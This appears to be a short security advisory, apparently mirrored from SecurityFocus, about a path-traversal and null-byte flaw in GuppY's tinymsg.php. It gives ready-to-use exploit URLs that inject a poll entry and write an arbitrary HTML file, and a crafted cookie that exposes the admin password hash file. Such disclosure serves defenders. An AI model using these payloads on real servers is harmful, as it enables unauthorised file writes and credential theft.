source: http://www.securityfocus.com/bid/8769/info

GuppY is prone to an issue that could allow a remote attacker to read or write to files on the vulnerable server.

This issue presents itself in the tinymsg.php component of the software. The attacker could only access files to which the webserver has access. 

- http://[target]/tinymsg.php?action=2&from=Youpi!||Great
!||rose||10000&msg=1&to=../poll
will add a possibility to the current poll : "Youpi!" with the pink color
("rose" in french) and a score of 10000.

- http://[target]//tinymsg.php?action=2&to=../../tadaam.html%00&from=youpi1&msg=youpi2
will write into http://[target]/tadaam.html the line :
0\nyoupi1||[DATE+HEURE]||youpi2

- The cookie named "GuppYUser" and with the value :
fr||../../admin/mdp.php%00||[MAIL]||LR||||on||1
sent to the page : http://[target]/tinymsg.php?action=3 will show the
source of the file http://[target]/admin/mdp.php (containing the md5-crypted
admin password).